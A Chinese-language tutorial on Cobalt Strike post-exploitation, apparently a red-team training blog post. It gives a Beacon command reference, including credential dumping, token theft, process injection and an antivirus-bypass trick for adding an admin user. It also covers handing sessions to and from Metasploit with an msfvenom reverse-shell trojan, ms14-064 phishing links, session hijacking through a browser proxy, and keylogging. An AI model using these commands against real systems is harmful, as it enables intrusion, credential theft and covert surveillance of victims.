1-Cobalt Strike基础中篇

Catalogue
  1. 1. 4.后渗透
    1. 1.1. 4.1 会话管理
      1. 1.1.1. 4.1.1 Beacon 的管理
      2. 1.1.2. 4.1.2 派生会话/会话传递
        1. 1.1.2.1. 4.1.2.1 CS自身增加会话
        2. 1.1.2.2. 4.1.2.2 在其他teamserver上做备份会话
        3. 1.1.2.3. 4.1.2.3 CS派生MSF会话
        4. 1.1.2.4. 4.1.2.4 MSF 生成木马与CS会话
        5. 1.1.2.5. 4.1.2.5 MSF使用溢出exp与CS会话
        6. 1.1.2.6. 4.1.2.6 MSF派生CS会话
    2. 1.2. 4.2 Explore
      1. 1.2.1. 4.2.1 浏览器代理
      2. 1.2.2. 4.2.2 远程VNC
      3. 1.2.3. 4.2.3 文件管理
      4. 1.2.4. 4.2.4 Net View
      5. 1.2.5. 4.2.5 端口扫描
      6. 1.2.6. 4.2.6 进程列表
      7. 1.2.7. 4.2.7 屏幕截取
      8. 1.2.8. 4.2.8 键盘记录
  2. 2. 参考资料

[TOC]

by Tahir 2021.6.8

接着基础上篇

4.后渗透

4.1 会话管理

4.1.1 Beacon 的管理

Beacon 控制台

在一个 Beacon 会话上右击 interact(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。

在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。

Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。

Beacon 菜单

  • Access:包含了一些对凭据的操作及提权的选项

  • Explore:包含了信息探测与目标交互的选项

  • Pivoting:包含了一些设置代理隧道的选项

  • Session:包含了对当前 Beacon 会话管理的选项

Beacon 命令

1
2
help 帮助命令显示全部命令
help xxx 显示某个命令的详细信息
1
2
3
4
argue 进程参数欺骗
argue [command] [fake arguments]argue 命令 假参数 欺骗某个命令参数
argue [command]argue 命令 取消欺骗某个命令参数
利用这个也可以绕过360添加用户(非核晶模式非x86)比如:argue net1 /hello /hello /hello /hello /hellorun net1 user admin 123451 /add注:假参数需要比真命令长
1
2
3
blockdlls 阻止子进程加载非微软签名的dll
blockdlls [start|stop]blockdlls start 启动此策略blockdlls stop 关闭此策略
启动此策略后创建的子进程加载非微软签名的dll时会被阻止注:此特性是windows10自身特性,需要目标为windows10才能成功启用
1
2
3
browserpivot 浏览器代理前面介绍过
browserpivot [pid] [x86|x64]
browserpivot [stop]
1
2
cancel 取消正在进行的文件下载
cancel filename
1
cd			切换目录
1
checkin 强制回连时发送主机信息
1
2
covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍
covertvpn [interface] [ip address]
1
clear 清空Beacon任务列队
1
2
connect 连接到一个TCP Beacon
connect [target] [port]
1
cp			复制文件
1
2
3
dcsync			从域控中提取密码哈希
dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希
dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
1
2
3
desktop VNC远程桌面
desktop pid [x86|x64] low|high 将vnc服务dll注入到指定进程中运行
注:需要确保cs服务端有vnc dll
1
2
3
dllinject 反射dll进程注入
dllinject pid dllpath
注:路径为本机路径
1
2
3
dllload 使用LoadLibrary函数进行dll注入
dllload pid dllpath
注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll
1
2
download 下载目标机文件
download filepath
1
downloads 列出正在下载的文件
1
drives 列出目标机上所有的磁盘盘符
1
2
elevate 提权并生成一个高权限会话
elevate [exploit] [listener]
1
2
execute 执行程序(无回显)
execute [program] [arguments]
1
2
3
execute-assembly 内存加载执行.NET程序集
execute-assembly .netpath [arguments]
注:就是普通的内存加载执行.net程序
1
exit 结束Beacon进程
1
2
getprivs 启用当前访问令牌所拥有的特权
注:你可以通过shell whoami /all查看详细信息
1
getsystem 尝试模拟一个SYSTEM账号的令牌获取System权限
1
getuid 获取当前令牌关联的用户ID
1
hashdump 转储密码哈希
1
2
inject 在指定进程中派生会话
inject [pid] <x86|x64> [listener]
1
2
3
inline-execute	在Beacon会话中执行Beacon Object File (BOF)
inline-execute [/path/to/file.o] [args]
注:后面会详细讲解
1
2
3
4
jobs 查看后渗透任务列表
Beacon中有些功能会在其他进程中运行(例如键盘记录屏幕截图)
这些任务在后台中运行,并在可用时报告其输出
可以使用jobs查看Beacon中的所有任务
1
2
jobkill 结束一个在后台运行
jobkill [JID]
1
2
3
jump 在远程主机上执行payload生成一个会话
jump [exploit] [target] [listener]
此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)
1
2
3
kerberos_ticket_purge 清除当前shell的Kerberos票据
kerberos_ccache_use 从ccache文件中导入Kerberos票据kerberos_ccache_use [/path/to/file.ccache]
kerberos_ticket_use 从ticket文件中导入Kerberos票据kerberos_ticket_use [/path/to/file.ticket]注:域渗透相关
1
2
3
keylogger 将键盘记录器注入到一个进程运行
keylogger [pid] [x86|x64] 注入到指定进程
注:不带任何参数则临时生成一个进程注入
1
2
kill 结束指定进程
kill [pid]
1
2
link 前面介绍过了是用来连接SMB Beacon的
link ip pipe name
1
logonpasswords 执行mimikatz获取密码
1
ls 显示目标机当前目录
1
2
make_token 创建令牌前面有说过
make_token username pass
1
2
3
4
5
6
7
8
mimikatz 执行mimikatz命令
mimikatz [module::command] <args>
mimikatz [!module::command] <args>
mimikatz [@module::command] <args>
注:有些mimikatz命令需要system权限才能运行
!代表强制将mimikatz提升到SYSTEM,然后再运行命令
有些则需要使用Beacon当前访问令牌运行
@代表强制mimikatz使用Beacon当前访问令牌运行命令
1
mkdir 在目标机上创建目录
1
2
3
4
mode dns 使用DNS A作为数据通道(仅限DNS Beacon有效)
mode dns6 使用DNS AAAA作为数据通道(仅限DNS Beacon有效)
mode dns-txt 使用DNS TXT作为数据通道(仅限DNS Beacon有效)
注:DNS Beacon默认使用DNS TXT作为数据通道
1
mv 移动目标机上的文件
1
net 在目标上执行net命
1
note 为当前Beacon会话备注
1
2
3
portscan 扫描端口
portscan [targets] [ports] [arplicmp Inone] [max connections]
注:前面有说过
1
2
3
powerpick 非托管powershell技术
powerpick [commandlet] [arguments]
注:非托管powershell技术就是不使用powershell.exe程序来执行powershell命令
1
2
powershell 通过powershell.exe执行命令
powershell-import 导入Powershell脚本
1
2
3
4
5
ppid 父进程欺骗
ppid [pid] 将指定进程作为父进程
ppid 直接执行ppid取消父进程欺骗
注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。
这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的
1
ps 显示进程列表
1
2
psinject 在指定进程中执行PowerShell命令
psinject [pid] [arch] [commandLet] [arguments]
1
2
pth hash传递攻击
pth [DOMAIN\user] [NTLM hash]
1
pwd	显示当前所在目录
1
2
3
reg 注册表查询命令(仅能查询)
reg query [x86|x64] [root\path]
reg queryv [x86|x64] [root\path] [subkey]
1
2
3
remote-exec 在远程主机上执行命令
remote-exec [method] [target] [command]
和上面那个在远程主机上执行payload生成会话的没啥区别只不过变成了执行命令
1
rev2self 恢复Beacon原始令牌
1
rm 删除文件
1
2
rportfwd 反向端口转发rportfwd [bind port] [forward host] [forward port] 开启端口转发rportfwd stop [bind port] 停止指定端口转发
rportfwd 本机端口 目标ip 目标端口 注:将指定的本机端口转发到目标ip的目标端口
1
2
run 在目标上执行程序(输出回显)
run [program] [arguments]
1
2
3
runas 以其他用户权限执行程序
runas [DOMAIN\user] [password] [command] [arguments]
注:相当于windows的runas命令
1
2
3
runasadmin 提权后执行命令
runasadmin [exploit] [command] [args]
注:与前面的elevate命令相似只不过变成了提权执行命令
1
2
3
runu 父进程欺骗
runu [pid] [command] [arguments]
注:与ppid差不多,runu使用指定进程作为父进程来执行命令
1
screenshot 截屏
1
setenv 设置环境变量
1
shell 通过cmd执行命令
1
2
3
shinject shellcode注入
shinject [pid] <x86|x64> shellcode_raw_path
注:使用时注意目标进程架构
1
sleep 设置beacon睡眠时间
1
2
socks SOCKS4代理(不建议使用)
socks [stop|port] 停止或在指定端口开启代理
1
2
3
spawn 派生会话
spawn [x86|x64] [listener]
注:默认情况下,spawn命令会在rundll32.exe中派生会话可以使用spawnto改变此默认
1
2
spawnas 以其他用户身份派生会话
spawnas [DOMAIN\user] [password] [listener]
1
2
3
4
5
6
spawnto 设置Beacon派生会话时使用的程序
spawnto [x86|x64] [程序路径]
注:此命令用来更改Beacon默认派生会话时使用的程序,比如
spawnto x64 C:\Windows\System32\notepad.exe
在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡
直接输入spawnto回车代表清除设置使用默认配置
1
2
spawnu 在指定进程中派生会话
spawnu [pid] [listener]
1
2
3
ssh 使用ssh密码远程连接
ssh [target:port] [user] [pass]
注:通过Beacon内置的ssh客户端实现
1
2
3
ssh-key 使用SSH密钥远程连接
ssh [target:port] [user] [/path/to/key.pem]
注:和上一个没啥区别
1
2
3
steal_token 从进程中窃取访问令牌
steal_token [pid]
注:可以使用getuid命令会打印你的当前令牌,rev2self恢复的原始令牌。
1
timestomp 复制指定文件时间戳到其他文件
1
unlink 断开与子Beacon的连接
1
upload 上传文件

Script Console

1
2
3
4
5
6
7
8
9
10
11
12
13
? 执行sleep判断语句并输出结果
e 执行sleep说明语句
help 帮助
load 加载一个脚本
ls 列出加载的所有脚本
proff 关闭脚本分析器
pron 为开启脚本分析器
profile 脚本性能统计
reload 重新加载脚本
troff 关闭脚本跟踪功能
tron 开启脚本跟踪功能
unload 卸载脚本
x 执行sleep表达式并输出结果

4.1.2 派生会话/会话传递

会话传递相关命令

Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。

  • spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。

  • spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。

  • inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。

  • spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。

  • dllinject:dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。

  • shinject:使用shinject [pid] [架构] [/路径/…/file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。

  • shspawn:使用shspawn [架构] [/路径/…/file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。

  • dllload:使用dllload [pid] [c:\路径...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。

4.1.2.1 CS自身增加会话

1.首先创建一个新的监听器,用于自身派生会话。

2.然后在要派生的会话上右键点击Spawn即可。

3.选择要派生到刚刚新建的监听器上,点击choose即可。

4.可以看到会话成功派生。

4.1.2.2 在其他teamserver上做备份会话

1.在另一台Linux服务器上开启teamserver。

2.通过客户端连接上新开启的teamserver。

3.新建一个监听器,用于将会话派生到新开启的teamserver上。

4.选择将要派生到teamserver的会话,通过spawn模块派生即可。

5.在新开启的teamserver上查看会话成功派生。

4.1.2.3 CS派生MSF会话

1.在 Kail上开启metasploit框架,并开启监听。

1
2
3
4
5
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http
set lhost 10.251.0.33
set lport 7777
exploit -j

2.在Cobalt Strike上创建一个监听器。

3.通过Spawn将会话派生到新创建的监听器中。

4.在msf服务器上查看会话已经成功派生。

4.1.2.4 MSF 生成木马与CS会话

1.通过 msfvenom 生成木马文件。其中LHOST和LPORT要设置为teamserver的IP与端口。

1
msfvenom -p windows/meterpreter/reverse_http LHOST=10.251.0.35 LPORT=9999 -f exe > /tmp/msf.exe

2.在Cobalt Strike上创建一个监听器。

3.将木马文件上传到目标靶机,并执行。目标成功在Cobalt Strike上线。

4.1.2.5 MSF使用溢出exp与CS会话

使用ms14-064漏洞进行测试。

这里简单介绍一下ms14-064漏洞:

Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。

具体利用流程如下:

1.在msf服务器上搜索ms14-064模块。

2、使用对应模块,并设置参数。

1
2
use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_http

参数设置如下,svrhost、svrport设置为MSF的IP和端口,payload的lhost、lport设置为CS监听器的IP和端口。

这里要简单说明几个参数的作用:

1.set Disablepayloadhandler true:这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。

2.set PrependMigrate true:告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程,此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。

通过exploit执行完,会生成一行钓鱼链接:

3.在 Cobalt Strike 上设置监听器。

监听器设置的payload,hosts和port均要与msf上所设置的一致。

4.在目标靶机上的IE浏览器中执行MSF的钓鱼链接。

4.1.2.6 MSF派生CS会话

通过ms14-064漏洞进行演示。

1.通过ms14-064漏洞获取目标主机的meterpreter会话。

步骤与上述的基本一致,只需要修改Lhost、Lport为MSF服务的IP和端口,以及disablepayloadhandler 的值为false即可,参数设置如下。

通过exploit执行获得链接

并在目标靶机上执行即可。

这时候可以看到成功获取到meterpreter会话了。

2.将会话派生到 Cobalt Strike上。

使用

1
2
3
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set session 1

设置对应的参数。

3.在Cobalt Strike 上创建监听器。

4.执行msf的模块

5.在Cobalt Strike上可以看到会话成功派生。

4.2 Explore

用户驱动攻击简单来说就是控制端通过远程控制让受控端来执行某一些操作。 常见的用户驱动攻击的模块如下:屏幕截图、键盘记录、进程处理、端口扫描、用户发现、文件管理、远程vnc、浏览器代理(仅针对ie浏览器)等,如下图所示。

![](D:/a_sangfor_outside_work/高级威胁组/学习资料/Cobalt Strike/1-Cobalt Strike基础/picture/23.png)

4.2.1 浏览器代理

浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。如下图中,通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站。

具体使用步骤如下:

1.选择 Browser Privot 代理。

2.选择对应的进程。

这里我们要将Proxy Serve Port 的值记录下来。

在命令行可以看到浏览器代理已经成功开启。

3.为CS上的服务器的浏览器设置代理。代理服务器的IP地址为teamserver的IP地址,代理端口为刚刚记录下的Proxy Serve Port 的值。

如果目标用户曾经通过IE浏览器登录某网站后台,并保存登录信息。这时候我们只需要通过访问目标后台地址即可实现免密登录。

5.通过browserpivot stop 关闭浏览器代理。

4.2.2 远程VNC

该模块可以对目标用户进行远程控制,具体使用步骤如下。

选择VNC模块进行利用。

运行结果如下:

4.2.3 文件管理

浏览会话系统文件位置在右击会话处,选择 Explore –> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。

在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。

彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。

文件下载

download:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。

downloads:查看当前 Beacon 正在进行的文件下载列表。

cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。

下载文件都将下载到CS团队服务器中,在View –> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。

文件上传

upload:上传一个文件到目标主机上。

timestomp:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。

选择File Browser模块进行利用。

结果如下:

4.2.4 Net View

该模块用于显示域列表、计算机列表或指定计算机的共享资源列表,具体使用步骤如下。

选择对应的Net View模块利用即可。

运行结果如下:

4.2.5 端口扫描

该模块用于探针目标主机所在网段内主机端口开放情况,使用步骤如下。

1.选择对应的 Port Scan 模块进行利用。

2.选择需要探针的网段、端口范围、最大连接数以及使用的协议类型。

3.查看命令行,发现扫描已经开始运行。

4.在View视图内的Targets可以查看扫描结果。

4.2.6 进程列表

该模块用于查看目标的进程,使用该模块可以对目标主机进行进程注入、屏幕截图,键盘记录、删除进程等操作,使用步骤如下。

1.右键选择Explore下的Process List模块。

2.控制台输出区可以查看进程列表。

3.选择explore.exe进程,点击Screenshot进行屏幕截取。

运行结果可以在view视图的Screenshots中查看。

4.2.7 屏幕截取

该模块用于对目标屏幕进行截取,该模块运行的结果与上述在进程列表中通过Screenshot进行截图的结果基本一致,具体使用步骤如下。

右键选择Explore下的Screenshot模块进行利用即可。

4.2.8 键盘记录

右键选择Explore下的Process List模块。点击Log Keystrokes进行键盘记录,运行结果可以在view视图的Keystrokes中查看。

参考资料